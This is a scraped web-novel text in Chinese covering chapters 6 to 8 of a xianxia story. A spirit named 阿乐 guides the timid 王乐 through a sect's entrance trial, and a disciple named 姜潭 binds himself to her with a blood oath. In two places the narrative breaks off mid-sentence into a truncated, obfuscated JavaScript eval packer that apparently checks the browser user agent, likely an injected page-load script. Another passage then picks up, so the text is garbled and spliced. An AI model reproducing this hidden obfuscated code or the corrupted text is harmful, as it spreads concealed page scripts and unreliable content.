眉目清俊冷冽,似雪如霜,凤眼薄唇,漆黑的双眸冰冷无光,深幽不可测,眼合着梅林盛景,倒更像是常年积雪不化的雪山中那千年的寒冰了。 即使是寒冰,也是长得好看的冰。 阿乐不禁眉梢微挑,可就在左手掐诀呼之欲出的时候,她眼前的男子只是稍稍曲其右手食指,一股强大的力量便将她往后推去。 力道强韧有力却又刚中带柔,阿乐虽然身体推后,却未让她受伤分毫,反倒是稳稳落在了梅院下侧的台阶之下,双脚安稳地落于雪地之上。 月牙色长衣飘飘欲仙,似清风似明月,衣襟和衣袖用红丝线绣着花式图案,冰霜中的寒梅,孤傲芬芳。 像是常识一般的记忆再次涌现,这是别角晚水。 被锁住意识的王乐早已吓得怔愣,见这二人此时相隔几尺距离,又并未说话,也未有下一步动作,气氛诡异异常。 【阿乐,阿乐,我们现在要怎么办啊?】 【那是别角晚水。】 【这是什么?挺耳熟。】 【梅花的一个品种,梅是北武门的象征图腾,北武门的弟子服饰均是绣入梅纹,在严寒中,梅开百花之先,独天下而春,取其珍贵独有之意。然而只有门主和其家眷,或者是门中品阶较高的弟子才会绣以别角晚水的花纹,彰显更高的品级。】 【所以这个人等阶不低?啊!阿乐!我们快跑!】 【跑什么跑,这是绝佳的机会!】 【阿乐!我求你别闹!求放过!】 如果可以,阿乐真想掐诀让王乐闭嘴。 阿乐浅浅一笑,躬身行礼,“卑微”得恰到好处:“当今仙门果然是人才辈出,北武门更是遥遥领先,敢问公子尊姓大名,日后若能拜您门下,当真是三生有幸,祖坟冒烟。” 凤眼划过一丝震惊与诧异,阿乐有种很奇怪的直觉,此人对她并无恶意。阿乐默认片刻,警惕地观察着他的一举一动和神情转换。 漆黑的瞳孔骤然紧缩,一扫先前的平静无澜,男子紧紧凝视着她的脸,各种情绪复杂流转,让人捉摸不透,而此时的他即便想面色不改,那抹震惊却挥之不去。 “乐......”呼之欲出的话断然停止。 “乐?”阿乐好奇了,这人莫非认识王乐,这不太可能吧。 “我是此次参与入门考试的受试者,我想我是第一个到达这里的吧。”阿乐特意装出好奇的神情左顾右盼:“我可太厉害了,竟然直接走到了这里,不好意思啊!厉害过了头,也不是我的错。” 嘴里扯着胡话,眼神却见男子紧绷的左手舒展落下,可垂落的袖口间却隐隐闪烁着光泽,想必手腕间佩戴着某个灵物。 “的确,你是第一位,敢问芳名?” 阿乐收回警惕的目光,再次直视他,瞧着架势似乎是放过了自己,竟如此顺利? 男子的面色已然放松,神情清淡,却显得有些许失落无望。 “仙家王氏,王乐。” “王家。”男子道:“其余受试者还未到门下,想必最快的也还有几个时辰,雪雾阵法惑人心智,乱人心绪,是是非非,虚虚假假,可远比那些纯粹的山精妖怪来得更为可怖。” 【阿乐!】王乐瑟瑟发抖地问道:【快穿帮了!他要是问我们是怎么走到这里的,要怎么办!】 阿乐面不改色,语气轻缓道:“北武门地处雪山之巅,寒冷的气候本就对受试者是莫大的考验,山中鬼魅和阵法直接剔除了资质平庸之辈,可我却直达仙门内部,你们这些小法术我根本不放在眼里。” 王乐内心大为震动,这脸不红心不跳地大放厥词果然是阿乐!这人好颠! 男子顿了顿,视线未从阿乐身上挪开半分,那已然放松的面容再次让阿乐难以理解,那并非是纯粹的探究和审视。 深如潭底,浓如黑墨的瞳仁正正巧巧地将王乐整个人纳入其中,视线穿透了王乐单一的外壳,直透阿乐的灵魂。 这一瞬间,阿乐竟有种可怕的直觉,这个男人彷佛注视的人是自己。 “姜潭,我叫姜潭。” “姜公子,有礼。”阿乐微微一躬身,随即浅笑嫣嫣道:“九泽之阔,向来能人异士众多,有些散修的灵力修为远超四大仙门,若您不信,大可看看颈部的印记。” 阿乐这般一说,王乐才意识到姜潭刚才被阿乐扼住的脖颈处竟有个淡淡的符号。 【阿乐,这是什么东西!】 【简单直接,催命符。】 【这......难道你刚才扼住他颈部之时,左手做了个掐诀的姿势?】 【山腹洞口处卷走陆碧城的松柏并不简单,藤蔓的攻击只是其一,整颗松柏都染有剧毒,即便是枯枝残叶也被毒液浸透,我们进入洞口的时候,我顺手了几片,掐诀的时候嵌入掌心,这个毒咒就成了。催命咒对灵力要求不高,关键是引子,这棵雪松可帮了大忙,王乐,你可真好命。】 王乐内心只想哭天喊地,我谢你全家。此话她当然不会说,她可能只适合乖乖闭嘴。 姜潭右手抚了下脖颈,竟丝毫未生气,漆黑的瞳仁中似有一道光一闪而过,他嘴角微扬,带着几分笑意:“我知道,即便你对我下毒,我也不介意。” 这倒是出乎阿乐的意料之外,她并非真心想毒杀他,只是为了拿捏,可眼前这北武门的弟子竟丝毫不在意?不仅不在意,甚至喜闻乐见,他在玩什么把戏? “北武门能者上位,靠得不仅仅是修为资质,更需要耳听八方眼观四路。” 阿乐眉梢一条,一抹狡黠之色闪过双眸,她笑道:“你帮我?我帮你?” “我不知道你为什么会出现在这里,我也不想知道,但是你一定是可以帮我的人。”姜潭详装毫不在意地轻抚了下袖口的别角晚水图案,缓缓道:“我走到这一步并不容易,可不想一切付诸流水,我想你也是。” 阿乐掩面轻笑数声,回荡在梅林间的余音竟有几分凄凉迷惘。 “我为什么相信你?保不齐我这会儿答应了你,解了你的咒,转身就把我给卖了。” 阿乐言下之意就是根本不相信你,随便立个契约就像让我给你解咒,没门。 姜潭倒也不恼,伸手让她过来,此时的阿乐唯恐他耍诈,小心警惕地走到他身边,姜潭的视线落在她身上,似笑非笑,随即转身在前方引路,二人隐没于梅林婉转的卵石小路上。 百步的距离,前方便有一座凉亭,亭盖及两侧的瓷凳桌椅都覆盖着薄雪,显然北武门的弟子并非时常前来,此处甚为隐蔽。 姜潭微微一抬手,宽大的袖口掠过阿乐的左肩,梅香扑鼻,沁人心脾,而那覆盖的薄雪在瞬间一扫而空。 “王姑娘,请坐。” 阿乐不想座,只想弄清他的意图。 “姜公子,可还是有话想说?” 姜潭不急不慢地从袖空中取出一物,袖口滑落的间隙,阿乐清楚地看到他的左手手腕上戴着一串喊不上名的珠石,五颜六色,眼熟似的好看。 王乐唤回了她飘忽的神智:【阿乐,你看,萤火虫!】 姜潭拢起的手掌内,有只铺展着透明羽翼的小虫在其中扑腾横冲,隐隐红光透出指缝。 阿乐在心里纠正道:【这不是寻常萤火虫,这个是血萤。】 【血萤是什么?】 阿乐无心解释,她狐疑地扫了眼姜潭,内心比起刚才倒是紧张了几分。如果这北武门弟子对着她喊打喊杀的,她还不至于惴惴不安,可又是结盟又是血萤实在太出会意料了。 内心捉摸不定,却详装轻松道:“血萤并非寻常之物,倒不是它有多稀奇,而是仙门弟子向来避之不及,你倒好,还将它收为宠物?” 姜潭那深不可测的目光再次落在阿乐身上,微微蹙眉,似是在极力抑制什么。 一瞬间,阿乐竟不敢承受如此沉重的视线,她仓皇地躲闪着,垂眸道:“姜公子,你几个意思?有话直说便好,兜兜转转的好没意思。” 姜潭不答,空余的左手轻轻一捻,指尖渗血,右手舒展,那只血萤腾空而飞,却并未飞远,它应该是嗅到了血腥之气,透明的翅膀加快了速度,立刻朝着姜潭的左手飞腾而来。 “姜公子,你莫非是疯了不成!” 王乐看得一脸懵,全然不知发生了什么,心里念叨着,这到底什么情况,难道还有比阿乐更疯的人? “不疯又怎会让你信任于我。” 血萤停留在姜涛的指尖,躯壳微颤,脑壳震晃,几乎贪婪地吮吸着姜潭的鲜血。 “姜潭!” 阿乐有些着了急,竟未发现脱口而出的是全名。 “我以此血为誓,与王乐成言,若有违誓约,必遭其反噬,焚烧而烬。” 【血萤是一种誓约之术,以血为誓,违约之人会如一团萤火,烈火焚烧而死,其修为灵力归另一方所有。】 话音落,那吸饱血的血萤摇头晃脑地飘然起飞,在空中盘旋了数圈之后,周身倏然腾起一阵绿幽幽的火光,随即燃为灰烬,消弭无踪。 王乐担心的不是这个,忙问:【那我,我是说我们,不用付出什么代价?】 【不用,血萤的毒咒只对起誓者有效,纯粹是单方面的伤害,说句不好听的,血萤就是个笑话,起誓向来是双方的,有哪个笨蛋傻子会用这个,这姜潭怕真是个疯子。】 王乐觉得自己幸好躲在了暗处,否则早已双腿一软倒地,怎么还有比阿乐更疯的人。 阿乐忍不住问道:【王乐,你给句实话,你是不是真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“第一批到达北武门的入试者会在一个时辰后出现。”姜潭的视线依旧落在后方,瞳仁有些涣散,自顾自地继续说道:“晚上我会来找你,现在你可以去休息,这座庭院名不语楼,主人就是我,不会有人来打扰你,不语楼的左右两侧都有客房,王姑娘,大可随意走动,只是不要离开这座庭院便可,稍后会有人引你前去北武门下。” 阿乐第一次感到心头发毛,她竟不敢再与姜谭多呆片刻,微微颔首以示明了便撒腿就跑,当她走到小径拐角处时,不知心头为何涌起异样,她回头试图再看一眼姜潭的身影,见那抹月牙色长衣早已融入红白错杂的梅雪之间。 凉亭里只剩下姜潭一人,在这一刻,他似乎卸下了所有的伪装,眼睑低垂,失魂落魄,他无力地坐在铺陈雪霜的瓷凳上,墨发顺着两颊垂落,一滴泪荡漾坠在发梢,无声落在手背。 右手握紧成拳,指尖刺入掌心,可他浑然不觉,唯独那奇怪的声音在前方骤然现,嗓音极细且尖,像是婴儿啼哭那般的刺耳。 “她不是她,她根本没有回来,你等了十六年,也不过一场空,于你而言这些岁月不过幻梦一场。” “你闭嘴!”姜潭倏地抬头,双眸染透了狠戾,他微微驱展右手,一柄银光长剑赫然悬于上空,长剑倏然腾空而起,刺向前方那片虚无。 这座庭院小巧别致,幽情雅趣,随处可见的梅树曲径通幽,更添了几分神秘莫幻。鲜红的花瓣上坠着雪霜冰晶,像是一丛丛植树冰雕。抬眼望去,红白叠加,晶莹透亮。 阿乐交还了身体控制权,一路上王乐又开始继续唠嗑,无非是些“吓死我了”“你怎敢”之类的话术,然后开始对姜潭这个奇葩高谈论阔,无奈两人交谈了一番,也说不出这姜潭怪在何处。 王乐寻了处空房,面朝庭院,能见梅林一角。 阿乐道:【即便他真心想与我结盟,也未免显得太过草率,要不是他实打实地用了血萤,我当真以为这家伙在下一刻就要将我五花大绑。】 王乐在房间里四处转悠,她点头称是:“我灵力修为太弱,他可是北武门的别角晚水,竟愿意与我结盟?阿乐,说真的,被他见到的那一刻,我差点以为自己死定了,你竟还敢对他下毒咒?当真是疯!” 阿乐慢悠悠地道:【若不是你姿色平平,我未必会下毒咒,大有可能采取更保守的办法,比如...色诱?】 王乐差点被自己的口水呛死,脸色大红,生气道:“阿乐!” 【哈哈!】 不语楼是姜潭的住处,三层楼阁,桌椅软榻,陈设极简,却极感舒适,或许和这房中所燃的焚香有关。右侧的炕案上摆放着铜制高足杯炉,青烟缕缕,白雾濛濛,隐隐带着梅香。 阿乐觉得自己这缕飘忽的意识彷佛双脚踏地般的实在,就像是从飘泊的鬼魂成为了实实在在活生生的人,似乎随着时间的推移,让她更实体化了,还有这香炉的飘香,也让她浮躁的神识趋于安宁。 阿乐本打算闭目养神一小会儿,才阖眼,话痨王乐又开始唠嗑了。 “堂堂北武门,竟如此寒酸?” 阿乐道:【修行之人多数还是修身养性为主,对于吃穿用度并无过多奢华讲究,可听你的话中之意似乎并非如此。】 王乐环顾四周,道:“因为北武门财大气粗呗,无论哪个仙门仙家,追根溯源的话,都有其本身的家业存在,放眼整个九泽,金奚二氏可谓是真正的富商巨贾。金氏的小姐嫁于了乐氏的二公子乐霈,而奚氏娶的正是北武门的前门主慕澜,也就是如今北武门门主慕齐光的亲姐姐。不过金奚两家的行事风格可是大相径庭,金氏向来高调铺张,而奚氏就清微淡远得多了,话虽如此,可但凡去过奚氏蓬莱苑的都知道,看似质朴极简的陈设,却是大有来头,无非是懂与不懂罢了。” 7. 误山雪(7) 阿乐沉默半晌,觉得这个王乐虽然性子弱了些,却也知道就算自身修行不济,也应该适当地了解修行界一二,便点头称是:【这不语楼,在我看来还真是最简单的桌椅床榻,瞧不见半分珍贵。】 王乐虽然也不懂这些,但是王家并非小门小户,还是有不少拿得出手的宝贝。虽然这些宝贝和她没有半点关系,但是没吃过猪肉也见过猪跑,她多少还是有些眼力见的,这不语楼实在是朴漏得难以置信。 阿乐倒不觉得有什么问题,自家亲姐姐堆金积玉,不代表着连北武门也跟着沾光,在她看来这样简单的房屋没什么不好,装饰得再豪华也不如一觉睡到天亮来得舒服。 阿乐又开始犯困了,这缕残魂没办法像正常人一样维持太久,她正想闭目养神会儿,可王乐打开的话匣子再也收不住了,噼里啪啦一顿输出。 “北武门现任门主慕齐光修为高深,修仙界内无人能与之抗衡,可上一任门主慕澜同样不可小觑。在修仙界最动荡的数年间,正是慕澜这样区区一位女子,撑起了北武门的半边天,世人皆知北武双子,公子无双,佳人如玉。” 王乐自个说得都不禁感叹连连,咂舌道:“慕澜也当真是个强悍的女人,能支撑起整个仙门的都不简单,等下,说起这个!糟了!我把堂姐和陆碧城的事给忘了!我应该和姜涛提一嘴,这样北武门可以派弟子去救她们!” 阿乐无语至极,既然北武门的入试乃生死不论,她真心觉得姜涛并不会去管她们的死活,姜涛这人看起来也心眼颇多,谁知道血萤的背后,他还打着什么样的算盘。他们二人明面上互相利用,看似阿乐占了上风,可这毕竟是北武门的地盘,实则还真不好明说。在这样的情况下,阿乐是全然不会顾那两人的死活的,尤其这二位姑娘根本不怀好意。 阿乐还在思忖如何让王乐的道德感降到最低,偏巧屋门被扣响了,来者是一位陌生的北武门弟子。 男子面容俊朗坚毅,板正严肃,轮廓锋利,看着就一副不好惹的模样。他的衣襟和衣袖边皆为红梅花纹,月白色的长衣配上红梅,清冷中带着浓烈,宛如冰火两重。 他躬身行礼,告知第一批的受试者已至北武门下,作为首位到达的王乐需一同前往。 阿乐不给王乐犹豫的机会,直言道:【跟着他走。】 不管姜涛在门中是何等级,作为受试者的王乐势必要出现在众人面前才能名正言顺,阿乐自知王乐定会在之后狂掉链子,既然如此只有靠她力挽狂澜了。 她虽然是应允了王乐不会轻易操控她的身体,但是紧急时刻,阿乐是会彻底地将这个承诺抛之脑后的。 毕竟命都没了,要承诺做什么? 王乐随着这位陌生弟子胆战心惊地穿过了层叠曲折的回廊垣墙,她所有的注意力都集中在之后的一切未知之上,全然没有心思去品赏北武门的绮丽雪景,甚至都未注意到途径的某处院落竟由寒冰雕镌,坐落院中的四方形似灯幢之物竟也是由寒冰雕琢,晶莹剔透,不可言喻。其中烛火闪烁,玄妙莫测。 离开了回廊,视野骤然明亮,那是一种宽阔和明媚的冰雪所冲击而来的视觉感,与先前在雪山中行走的感觉截然不同,天高地广,空气严寒,王乐忍不住猛吸了口气定神,却被这钻入鼻腔的冷空气搅得连连咳嗽。 这位北武门的弟子驻足回头,容色不改,语气倒是平缓了些:“初来乍到是会有些不适,一旦提升了修为灵力后,便不会再觉得寒冷了。” 王乐觉得此人尚且算是友好,或许能帮她一把,犹豫了片刻,又问:“敢问公子,这一次的入试中,可有人丧命?” 迷迷糊糊的阿乐骤然一惊,心中大叫不好,这傻姑娘果然开始犯浑了! “丧命?”北武门的弟子眼神颇为诧异,似乎听闻一件极其好笑的趣事,沉笑道:“北武门的每一次入试,皆有人丧命失智,又或者重伤难愈,这并不稀奇,只是第一批通过的受试者已至门下,所以才请姑娘移步向外。至于现在死了谁又伤了哪位,在下还真是不知,不过既然姑娘有此疑问,倒是可以告诉我,先前与姑娘同行的还有何人?” 王乐急吼吼地答道:“王竹月,陆碧城,还有一位...叫做罗衣。” 王乐本就是急着逃命,阴差阳错入了北武门的入试,一路跌跌撞撞,她本就不擅长交际,王竹月与她同系,自然本就是认识的,陆碧城也不过认识于几日前,而罗衣是唯一与她交谈过几句,还给过她半个馒头的人(虽然馒头扔在了雪地上),至于那些跟在陆碧城身后对她阿谀奉承的几位姑娘,王乐是半个名字也记不住了。 “在下明白了。” 王乐不懂他这句所谓的“明白了”到底是明白了什么,又补了句:“如果她们遇上了麻烦,是否可以相救。” 男子却只是给了一个意味深长的笑意,并不答。 前方隐隐传来说话声,男子向前一指,再次躬身道:“王姑娘请向前走,便可与其他受试者汇合了,在下还有要事处理,暂且别过。” 男子说完便转身离去了,没有半点再多加解释的意思。 “阿乐,你说他几个意思。” 【意思是让你先去汇合,其他不要多问。】 “可是......” 【王乐王姑娘,先不说你想救的人值不值得救,起码你得先顾着自己和眼下的情况,实不相瞒我总有种不好的预感。】 阿乐这话并非用来唬人,她是切切实实存有不妙的预感,先不说参与入试前是否有做过身份记录,就看王乐这一身平平无奇的修为和灵力,恐怕在场没几人会轻易相信她能第一个到达目的地。 果不其然,当王乐站在印刻着“北武门”三个大字的巨形冰雕牌匾下时,其下数十级台阶下侧窸窣的说话声骤然停止,瞬息过后,交头接耳之声再度四起,配合着无数直勾勾的眼神,气氛充满着狐疑和猜忌。 “阿乐,我腿软......”此时的王乐莫名有种立于高处俯瞰众生的错觉,她实在不明白这北武大门的入口为什么建得如此之高,还是用冰雕而成的台阶,下方层层叠叠的台阶总给她一种即将晕眩失足摔落的恐怖感觉,当真不怕脚滑摔死。 【撑住。】 “我快撑不住了,他们都在看着我,他们在说什么?” 【在说你是谁,怎么会从里走到外。又在说你平平无奇,看着灵力颇低的样子。还有人说你印堂发黑,怕是有血光之灾。】 “......” 虽说修士的灵力高低的确无法从外貌判断,可越是出自仙门大家,周身的沉稳气魄愈是让人无法小觑,光是沉稳这一点,王乐就输了个干干净净。 反正是没见过拿第一的修士,畏畏缩缩,腿软发抖的凄惨模样。 王乐浑身抖如筛糠,一来她的确精神气有些颓靡,二来她被底下的人瞅得心头发毛,喉咙发干,这样带有强烈审视狐疑的目光让她根本无法招架,就在她几乎要腿软倒地的时候,沉稳的说话声再度响起,此人语调高昂却平缓沉稳,无半分咄咄逼人之感,多了份安抚人心的稳静,似在这茫茫雪山之中,扫去了一切的不安无力。 “我乃北武门座下弟子曲丰,但凡听到名字的受试者,请随我移步。” 说话之人竟不知不觉中与王乐并肩而立,王乐心下一抖,颤巍巍地侧头望去。 来人眉目清秀,文雅气质中稍显调皮率性,谈吐举止与相貌倒是截然不同。 其下又是一阵窸窣之语,终于有人忍不住发问了。 “我们是前来参与入试的,先前并未有过记录,阁下如何得知我等姓名?” 曲丰缓缓道:“能走到这一步的各位修士,北武门又如何不知尔等身家姓名。” 阿乐心中一咯噔,果然,不是人家不问你叫啥,而是早就将每个受试者的身家背景调查得清清楚楚,那王乐的背景势必早已明明白白,若是连她“杀人”一事也早被人知晓的话,那姜涛与她们结盟,可谓是怪事一件了。 “敢问曲公子,这位姑娘可是入试第一?” 其下有受试者直接将矛头对准了王乐,发问得直截了当,眉目间尽是不信和疑心。 曲丰点头:“是,她正是此次北武门入试的第一。” 其余修士间一阵骚动,窃窃私语声此起披伏,显然王乐这个人以及她的表现根本不足以让人信服。 随后,又有人跳出来发问:“这位姑娘姓甚名谁?可是散修?又或者出自何处仙家?” “这姑娘看着面生,一路走来竟从未瞧见,实在太过奇怪。” “我自认天资卓越,势必要在入试中拔得头筹,如今竟输给一位毫不出挑的女子,实在心有不甘,姑娘可否与我一较高下?” 王乐从心口凉透到了脚底,被这接二连三气势汹汹的发问惊吓得连连后退,她觉得自己此时没有瘫软在地,已经是奇迹了。 此时,又有个熟悉的男声传来:“北武门从不禁止门下弟子私下比试,然而今日还有要事,还请各位不要太过放肆了。” 王乐听闻这熟悉之声,回头一瞧,竟是刚才为她引路前来的男子,他阔步走来,与曲风并肩而立,眉目相比清秀的曲丰而言,更添了几分凌厉之色。 他轻咳了一声,一扫众人,便道:“在下唐......湍,与曲丰同为北武门弟子。” 旁侧的曲丰闻言面露诧异,侧头震惊地盯着他,唐湍是几个意思? 正要说话之时,其下又一人惊慌地大声喊道。 “我认出这姑娘是谁了!她是翡翠山庄王氏一族!她是那个杀人犯!王家已下达追捕令!她杀了王家未来的家督王琮元!” 四周喧哗四起,骇然失色。 王乐双腿直打哆嗦,她未曾想竟在此时被人认出,眼下是逃也不是,站也不是,巨大的秘密被迫曝光于光天化日之下,难解的愤恨和不甘在众人震惊嘲弄的神情中只化为了零星几个不成句的单词。 “我....没....有...不是.....我。” 【王乐,挺直你的背!撑住!】 【挺不直......我腿软...我心慌...】 【撑住......】 【阿乐...我没...杀人.......我不行了.....救救我.....】 王乐几乎带着哭腔,整个人摇摇欲坠,似乎马上就要晕死过去。 曲丰也是头一次见到受试者对第一名如此耿耿于怀,北武门地处绵延雪山,周围八卦阵法,山精鬼魅无数。虽是为了入试而特意布下的陷阱机关,可鬼魅皆数不受控制,他们从不保证任何受试者的安全,先前也只是被简单地告知有受试者远在他们意料之内提前到达了北武门,不仅如此,竟还直达内部,还有那姜涛的态度也颇为奇怪。 他什么时候改名叫做唐湍了? 这边的曲丰还在费劲脑汁地思考眼下的情况,而剩下的这些受试者还是不依不饶地紧盯着王乐穷追猛打,势必要她和自己比试一番。 王乐见来势汹汹,而自己一人孤立无援,眼见身份败露,顿时感叹自己时日无多,命不久矣,自己“杀”了人,总该是有报应的吧。 【王乐,你在想什么?】阿乐感觉到了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“曲师兄,他又再质疑你们北武门呢?”王乐特意放软了音调,缓缓道:“张口闭口杀人凶手,行凶作恶,你是有亲眼瞧见我杀人了不是?那行吧,给你一个机会让你抓我回翡翠山庄,可好?来!快来!” 阿乐嘴里调侃着,可半分步子也不挪动,反而是笑嘻嘻地看着台阶下所有的受试者。 曲师兄? 曲丰一时哑然,虽然基本通过了前期测试,离入北武门八九不离十了,可到底还没到最后一步,这一声师兄也未免叫得太过顺口了。曲丰前思后想,总觉得这事愈发地不对劲。 北武门入试注重修士的资质,说白了,就是天资聪慧,是修行入道的料。更何况最上头那位,向来不收蠢货。能走到这一步的修士必定资质非凡,灵力高强。雪山之路凶险万分,若是没有修行根基的普通人上山多半折损在半路,然而话不说死,还真有一位普通人在当年一群天资拔萃的受试者中脱颖而出,一骑绝尘。 当下的修行界,分为两类,出生仙门仙家或者因自身能力拜入门下,除此之外,便是依靠仙灵而自我修行的散修。但是归根结底,大家本就是九泽芸芸众生之下的普通人,而天生仙灵的存在成为了能否入道修行的契机。 人的资质分个三六九等,修士同样如此,有人不出三载,便能以灵力化剑,御剑而行,斩妖除魔,以此证道。有人勤修苦练三十载,连个小山精都擒不住。北武门能者辈出的原因之一便是从来不收天资杂碎的笨蛋。不问来路,不计前程,只论仙灵根骨,这是北武门入试的重要原则。如此说来,北武门弟子中还真有不少在入修前并非“身家清白”之人。 然而这些事众所皆知,愿意前来参与入试的自然是知道北武门的规则,他们慕强而来,其余一概不论,更不会如眼下之人一样将此事挂于嘴边。 贩夫走卒?市井无赖?乡野俗子?行凶作恶? 虽然王乐把这烫手山芋扔到了曲丰手中,可这到底戳中了一些痛处,曲丰那清秀的脸一沉,颇有些阴冷的气息。 “裴公子,若你此话当真,大可立即走人,北武门多你一个不多,少你一个......自然是乐意至极。”曲丰微曲手指,那在上头悬空而待的长剑光芒骤然一紧,在顷刻间竟往这位裴公子方向疾驰而去。 在场众人大惊,此剑速度极快,未见煞气,可这凌厉呼啸的风声足以震慑众人,电光火石般,只见雪花扬洒而落,似乎听见什么东西落下的重响,可在厚实的积雪上,这垂落声并不明显。 阿乐冷静地看着天际漂浮着飞扬而起的密集落雪,在众人的惊呼声中,一切逐渐清明。 裴公子身后屹立的松柏树群未见丝毫异动,甚至连轻薄的树枝也未动分毫,而其上的雪花竟被倾数扫去,露出翠绿的树叶。 众人不禁诧愕。 积雪过厚地覆盖着群树,总让人以为常年落雪不化的涿光山势必不如春季的葱茏绿植,谁能想到扫去落雪的松柏,竟如四季如春一般的嫩绿。 而被扫去的落雪在裴公子面前落成了一个人形,还是被一刀斩成两截的人形! 在场众人闭嘴不敢再语,唯独裴公子怔愣地站在原地,进也不是,退也不是。 阿乐微挑眉梢,看来北武门的确不是吃素的,虽说不用做任何登记,那是人家还真把你身家背景调查得清清楚楚了,这曲丰看似清秀文雅,一副读书人的模样,这性子却也是张狂得很。 曲丰捏紧右手,剑倏然消失不见,俏皮一笑:“裴甚谦,滚。” 连礼都懒得装了。 8. 误山雪(8) 裴甚谦一路走来谈不上顺利,身上也是历经百战的挂彩破损,小伤遍体,好不容易通过了前期入试,因为一句话被人请走,他又怎会服气! 他随即不甘地大喊道:“你们北武门光明正大入试招生!哪有通过了入试直接请回的道理!” 曲丰嘴角一扬,嘲讽道:“如你所言,我等北武门弟子皆为无理耍赖之徒,还望裴甚谦不必纡尊降贵了。” 裴甚谦想起这几日的艰辛,哪肯轻易回头,他来北武门的最终目的也不过是为了增强修为,学些更强的本事,这下倒好,一时嘴快落了个不讨好的下场,他正思索着如何挽回这一局,却见一直站在曲丰身侧,未曾多说话的另一位北武门的弟子唐湍手中不知何时多出了一把长剑,剑身红光闪闪,隐隐夹杂着丝丝黑气。 裴甚谦只觉两腿发软,神智恍惚,仙门众人,即便再不识刀剑武器之人,也绝不会不识此剑。 神器斩魔剑。 名字简单明了,一剑斩魔,天下无双,自上古遗留至今,因灭魔无数剑身浸透黑色的魔性,对所持之人的修为要求相当之高,绝非一般修士可轻易驾驭,先不说这位弟子的修为如何,就说这神器在此出现足以震惊众人了,更何况还只是由北武门普通弟子所得,这实在匪夷所思。 斩魔剑脱离了唐湍的掌心,神器不同于一般武器,因灵气满溢,通常会带有自身的神智,俗称神器会有自己的思考方式,它似乎也感觉到了周遭的不安,正蠢蠢欲动地旋转试探。 剑尖不停地左顾右晃,最后直直对准了裴甚谦的方向,仿佛有自我意识那般直冲而去。 裴甚谦即便想躲,速度又怎及神器宝剑,只见他双腿一软,双膝一跪,而那早已飞至跟前的斩魔剑却是正正好好地横卧在他头顶上方一寸的距离。 “斩魔,淘气了。”唐湍一挥右手,沉声道:“回来。” 这一来一去的,倒像是斩魔剑自我意识的主导,和他唐湍没半点关系似的。 “斩魔斩魔,斩得可并非仅仅只有妖魔精怪。”站在一侧的曲丰脸上染了层笑意,竟有些阴阳怪气地说道:“还有那些不忠不义,不孝不仁,满嘴胡言乱语,攀咬阴损他人的无能之辈。” 唐湍收回了斩魔剑,他知曲丰向来淘气,最厌烦裴甚谦这样不识脸色咄咄逼人之辈,眼下教训也算是足够了,实在没必要和他多费口舌。 毕竟,哪怕你通过了入试,北武门不想收的弟子照旧可以踢出门外。 其余受试者已从面面相觑转变成了鸦雀无声,只管顺着台阶慢慢而上,各人各怀心思。有被刚才举动所震惊错愕的,也有被神器迷了眼的,更多的是感叹北武门弟子超绝的修为灵力。 而阿乐则是静静站在一边,面不改色地看完了刚才这出戏,眼看落幕,不忘拱手行礼。 “王乐再次感谢曲师兄和唐师兄路见不平拔刀相助。” 曲丰依旧是狐疑且好奇地扫视着王乐,不忘提醒她可以先行去往玄武殿内,今日但凡通过入试的都需要在玄武殿内听候指派。 待众人走了个精光,唯独双腿发软的裴甚谦还呆呆地怔在原地,似是不会再动了。 曲丰愈发觉得好笑,再次露出个调皮的笑来,全然不似刚才严惩不贷的模样。 唐湍每回生气,可看着曲丰嬉皮狡黠的模样,内心只觉得好笑有趣,连半分斥责都不见了,更何况他明白刚才曲丰雷霆大怒的原因。 曲丰不依不饶,依旧跺脚生气,模样多了几分孩童般的纯粹有趣。 “那是他活该!胡言乱语的人最该死!” 唐湍见他神情又变,便笑道:“他也不算胡言乱语,行凶作恶倒也没说错。” 曲丰神色微变,似是一沉,沉声道:“这话我可不爱听。” 唐湍转身走去,语气颇为轻松:“毕竟我身上的确背着二十条人命。” 曲丰黑白分明的双眸有了丝混沌,像是平静无澜的河边忽然惊起而泛的涟漪,他忽然想到了什么,大步追上,便道:“其他暂且不论,我倒想知道你何时改名唐湍了啊,姜公子!那个王家姑娘到底是个什么来头啊!” 唐湍挥手扬长而去:“这是少主的意思,你莫要多问了。” --------------------------------------- 阿乐一路走到玄武殿,心情更是复杂,她本人是没什么,只是被胆小的王乐烦得不行。 王乐的名字上了王家的通缉令,虽不知王家是否有开出什么筹码,但是如此说来,想抓捕她的人就不少了。 投靠北武门原先是下下之策,眼下看来,这步棋倒是走对了。 这样的情况下,让王乐独自面对一定错漏百出,阿乐一直占领着她的意识,内心盘算着的等到了玄武大殿之上,或许可以看见姜潭,这人看来真有些本事,显然已经事先和曲丰唐湍打了招呼。 他在北武门的品阶怕是位高权重了。 那他到底图王乐什么? 图她相貌平平无奇?图她资质几乎为零?图她性格胆小怕事?还是图她是个被通缉的杀人犯? 反正她是怎么都没想明白。 走到这一步的受试者不过数十人,阿乐没见过她们其中任何一人,想必那些跟随陆碧城的姑娘们都早已败下阵来。 大理石的地面映照着一张张神色各异的脸庞,除了王乐之外,其余人的神情多少有些不自然,毕竟历经阵法,迷宫和妖魔的轮番轰炸,多少有些伤病加身,灰头土脸。 阿乐瞅着反光的大理石地面,她第一次将王乐的脸庞看了个清楚。 白皙圆脸,眉眼灵动且温和,小家碧玉,人畜无害。 “各位,请稍候片刻。”唐湍朝着身后一位北武普通弟子一挥手,再次正视着众人,语气沉缓道:“北武门以强者扬名,以能者自居,能进入玄武殿的各位修士,实力自然不容小觑,可所谓千里马也需伯乐引,能否拜入北武门下,还需乾坤一探辨真假。” 这话摆明了即便走到这个地步,也并非可直接成为北武门弟子,这些受试者不免神情大变,有些不悦。 